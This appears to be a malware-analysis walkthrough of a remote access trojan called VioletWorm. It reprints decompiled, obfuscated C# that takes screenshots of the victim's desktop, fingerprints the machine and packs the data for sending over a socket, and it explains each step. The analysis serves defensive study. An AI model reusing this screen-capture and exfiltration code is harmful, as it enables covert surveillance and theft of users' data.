← Reports

Remote Access Trojan · Worm · Dropper

VioletWorm - game.exe

Author
Moise Medici
Updated
07 Sept 2026 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Dropping Secondary PayloadsPersistence MechanismsCommand and Control C2 CommunicationCommand Execution via Powershell Cmd BashData-ExfiltrationFile EncryptionKeyloggingScreen CaptureWebcam AccessClipboard ManipulationCredential TheftAMSI and ETW BypassSandbox and VM EvasionReflective Code LoadingUSB SpreadingDenial of Service
Tags
pythonC#

Class IUVRfVl

This class looks very similar to what was renamed DesktopOperations, judging by the Windows library functions imported into its randomly named variables.

Variable NameRenamed as
drwraohWVTJHGj2XOx6oGetDesktopWindow
qeChNltkousRvux6caMkGetDC
r9Ek6bYrlVudYrzzoPeoReleaseDC
uw801rMLlwldklxRaRKbOpenInputDesktop
SXCz2AOsEuyhWwXpuBdSfSwitchDesktop
ZMGpaQsctiZ6FD1sxF0MBitBlt

All of them are desktop-related functions whose names are already informative, except for GetDC 21, ReleaseDC, and BitBlt 22. The get and release functions acquire or release a device context 23, an object that defines graphics attributes. The BitBlt function appears to copy a portion of a rectangle, which could be the screen currently in use.

Another function in the namespace is 85gr2379rQwnNgqixDOD, which can be renamed isMimeInstalledEncoder because that is exactly what it does. Given a mimeType such as image/jpeg, it checks whether any installed image encoder matches the supplied MIME type.

Core.IUVRfVl
private static ImageCodecInfo 85gr2379rQwnNgqixDOD(string mimeType)
{
foreach (ImageCodecInfo imageCodecInfo in ImageCodecInfo.GetImageEncoders())
{
if (Operators.CompareString(imageCodecInfo.MimeType, mimeType, false) == 0)
{
return imageCodecInfo;
}
}
return null;
}

Lastly, the core of this class, VQKM8KRtwxxvNFgRwTaM.

Core.IUVRfVl
private static void VQKM8KRtwxxvNFgRwTaM(Size size, int Q, int Index)
{
try
{
IntPtr intPtr = IUVRfVl.OpenInputDesktop(0U, false, 257U);
if (intPtr == IntPtr.Zero)
{
return;
}
Rectangle bounds = Screen.AllScreens[Index].Bounds;
Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height);
using (Graphics graphics = Graphics.FromImage(bitmap))
{
IntPtr hdc = graphics.GetHdc();
IntPtr desktopWindow = IUVRfVl.GetDesktopWindow();
IntPtr dc = IUVRfVl.GetDC(desktopWindow);
IUVRfVl.BitBlt(hdc, 0, 0, bounds.Width, bounds.Height, dc, bounds.X, bounds.Y, 13369376U);
IUVRfVl.ReleaseDC(desktopWindow, dc);
graphics.ReleaseHdc(hdc);
}
try
{
Point position = Cursor.Position;
if (bounds.Contains(position))
{
using (Graphics graphics2 = Graphics.FromImage(bitmap))
{
Point point = checked(new Point(position.X - bounds.X, position.Y - bounds.Y));
Cursor @default = Cursors.Default;
Graphics graphics3 = graphics2;
Point point2 = point;
Size size2 = new Size(32, 32);
Rectangle rectangle = new Rectangle(point2, size2);
@default.Draw(graphics3, rectangle);
}
}
}
catch (Exception ex)
{
}
if (bitmap.Size != size)
{
bitmap = new Bitmap(bitmap, size);
}
ImageCodecInfo imageCodecInfo = IUVRfVl.isMimeInstalledEncoder(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("YVcxaFoyVXZhbkJsWnc9PQ==")))));
EncoderParameters encoderParameters = new EncoderParameters(1);
encoderParameters.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Q);
using (MemoryStream memoryStream = new MemoryStream())
{
bitmap.Save(memoryStream, imageCodecInfo, encoderParameters);
Socket yoZWPEB2L4CWPcRdRPHEGoogle = YOPogZWq.YoZWPEB2L4CWPcRdRPHEGoogle;
lock (yoZWPEB2L4CWPcRdRPHEGoogle)
{
YOPogZWq.jceX8VSgpCMIpFoVkQH6(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VWtRcg==")))), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), HVJGiDs.xlXljmuIyDRRNNvCnXbU(memoryStream.ToArray())), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), bounds.Width), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), bounds.Height), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), HVJGiDs.fyMynyuY94JR2Keprwhk())));
}
}
}
catch (Exception ex2)
{
MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UlhKeWIzSTZJQT09")))) + ex2.Message);
}
GC.Collect();
}

The function starts by calling OpenInputDesktop 24, which returns a handle to the desktop, allowing input to be received from it.

It then creates a bitmap object the same size as the screen and copies the desktop contents into it, essentially taking a screenshot without using clipboard-related methods. It does this by obtaining the desktop handle, opening the device-context handle, and copying the desktop data into bitmap via BitBlt.

Once this is done, a cursor is drawn on the bitmap.

All of this may indicate potential data exfiltration.

Moving on, the function calls isMimeInstalledEncoder with the base64 encoded value of image/jpeg. The image is then saved using the bitmap.Save method, with the destination being an in-memory object called memoryStream. A socket is then created:

Core.IUVRfVl
Socket yoZWPEB2L4CWPcRdRPHEGoogle = YOPogZWq.YoZWPEB2L4CWPcRdRPHEGoogle;

followed by the invocation of jceX8VSgpCMIpFoVkQH6, which comes from the Y0PogZWq namespace that we have not looked into yet:

Core.IUVRfVl
YOPogZWq.jceX8VSgpCMIpFoVkQH6(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VWtRcg==")))), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), HVJGiDs.xlXljmuIyDRRNNvCnXbU(memoryStream.ToArray())), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), bounds.Width), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), bounds.Height), YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle), HVJGiDs.fyMynyuY94JR2Keprwhk())));

Even though we don’t know what the function does yet, we can at least try to understand the arguments passed to it.

A hopefully easier way to read this function call is to format it:

Core.IUVRfVl
YOPogZWq.jceX8VSgpCMIpFoVkQH6(
Conversions.ToString(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Encoding.UTF8.GetString(
Convert.FromBase64String(
Encoding.UTF8.GetString(
Convert.FromBase64String("VWtRcg==")
)
)
),
YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle
),
HVJGiDs.xlXljmuIyDRRNNvCnXbU(
memoryStream.ToArray()
)
),
YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle
),
bounds.Width
),
YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle
),
bounds.Height
),
YOPogZWq.J49YGBiw55cb2H8tyMLYGoogle
),
HVJGiDs.fyMynyuY94JR2Keprwhk()
)
)
);

Now for the content: J49YGBiw55cb2H8tyMLYGoogle is defined as EncodedConstants.Violet, so we know it contains the string “Violet”. The base64 of VWtRcg== is RD+. For the sake of simplicity we can assume bounds.Width and bounds.Height to be something like 1920x1080, since the actual values don’t really matter.

The ConcatenateObject function is a built-in function that joins two values together, of the same or different types. For example:

  • Operators.ConcatenateObject(10, "px") will result in "10px"
  • Operators.ConcatenateObject("mb", "px") will result in "mbpx"
  • Operators.ConcatenateObject(10, 30) will result in "1030"

So right now the function is:

YOPogZWq.jceX8VSgpCMIpFoVkQH6(
Conversions.ToString(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
"RD+Violet",
HVJGiDs.xlXljmuIyDRRNNvCnXbU(
memoryStream.ToArray()
)
),
"Violet"
),
1920
),
"Violet"
),
1080
),
"Violet"
),
HVJGiDs.fyMynyuY94JR2Keprwhk()
)
)
);

It is calling two functions from the HVJGiDs namespace, which has not been analyzed yet, but we can cover them here since they are pretty small.

Core.HVJGiDs
public static string xlXljmuIyDRRNNvCnXbU(byte[] b)
{
return Encoding.GetEncoding(1252).GetString(b);
}

This method takes an array of bytes and converts them to a string using a Western European encoding. The 1252 value passed to GetEncoding 25 is described in the example on the linked page as:

1252 Windows-1252 Western European (Windows)

Because the function is called with memoryStream.toArray() as its argument, the bitmap bytes are forcibly converted to text, potentially for transmission over a network protocol.

This function has been renamed forceEncoding.

The other function, HVJGiDs.fyMynyuY94JR2Keprwhk, is:

Core.HVJGiDs
public static string fyMynyuY94JR2Keprwhk()
{
string text;
try
{
text = HVJGiDs.fMrSgTSJh9g7uCXy9Yxk(string.Concat(new object[]
{
Environment.ProcessorCount,
Environment.UserName,
Environment.MachineName,
Environment.OSVersion,
new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize
}));
}
catch (Exception ex)
{
text = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("UlhKeUlFaFhTVVE9"))));
}
return text;
}

The function returns a string containing client information, such as the logged-in username, machine name, OS version, and the size of the C drive. This data is processed by the fMrSgTSJh9g7uCXy9Yxk function, which hashes it with MD5. The hash is converted to an array of bytes, and each byte is formatted as lowercase hexadecimal with at least two digits using the ToString method with the argument x2. The result is truncated to the first 20 characters and converted to uppercase. This function can be renamed MakeIdFromStr, while the previous one can be renamed MakeIdFromOSInfo.

Core.HVJGiDs
public static string fMrSgTSJh9g7uCXy9Yxk(string strToHash)
{
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] array = Encoding.ASCII.GetBytes(strToHash);
array = md5CryptoServiceProvider.ComputeHash(array);
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in array)
{
stringBuilder.Append(b.ToString(Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("ZURJPQ=="))))));
}
return stringBuilder.ToString().Substring(0, 20).ToUpper();
}

So, back to the piece of code we were analyzing, the simplified version is:

Core.IUVRfVl
YOPogZWq.jceX8VSgpCMIpFoVkQH6(
Conversions.ToString(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
Operators.ConcatenateObject(
"RD+Violet",
<encoded_img_as_str>
),
"Violet"
),
1920
),
"Violet"
),
1080
),
"Violet"
),
"ID From OS Info"
)
)
);

Once all the concatenation is done, the result is something like:

RD+Violet<encoded_img_as_str>Violet1920Violet1080VioletID From OS Info

Or, more generically:

RD+Violet[image string]Violet[width]Violet[height]Violet[machine-victim-id]

As mentioned before, this string is passed to the function YOPogZWq.jceX8VSgpCMIpFoVkQH6, which will be analyzed later. At this point, VQKM8KRtwxxvNFgRwTaM can be renamed ExfilDesktopData. Exfiltration is not confirmed yet, but it is very likely given the socket creation. If that proves incorrect, the name can be revised.

The last function of this class is yIQnOYhWvCQwz5LKwJsj, which can be renamed CallerExfilDesktopData because it only calls the function analyzed previously:

Core.IUVRfVl
public static void CallerExfilDesktopData(Size size, int Q, int Index)
{
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(Convert.FromBase64String("VjJsdVFrbDBNekl0UjFSSVRrWjRiRUJHUUVaSWJEVlpNMDVXV0c1YU5XWlliSHBUVmpVeFlraENNbUV3ZEZabWJWcDRaak5DUzFnelJqVmxXR3gzVkRFeE1HSklRamxrUmxaYVpESlJUMFJuUWsxV1NHTlBSVUZ3Y2s5c01FNUZVWEF2WVRCQmFVVlNkMGhETW5OcFNXZzFha0ZJT1hKUlZITkhRbEZ6UkdGNVJtSkdlREJNU0hjOVBTMUZUa1E9"))));
Thread thread = new Thread(delegate
{
IUVRfVl.ExfilDesktopData(size, Q, Index);
});
thread.SetApartmentState(ApartmentState.STA);
thread.Start();
}

It does initialize the string variable with the following content:

WinBIt32-GTHNFxl@F@FHl5Y3NVXnZ5fXlzSV51bHB2a0tVfmZxf3BKX3F5eXlwT110bHB9dFVZd2QODgBMVHcOEAprOl0NEQp/a0AiERwHC2siIh5jAH9rQTsGBQsDayFbFx0LHw==-END

This variable is never used.

Ultimately, the class IUVRfVl can be renamed ExfilDesktopData. This does not conflict with the previous method because this refers to the class itself.

Since this class uses YOPogZWq, that class is examined next.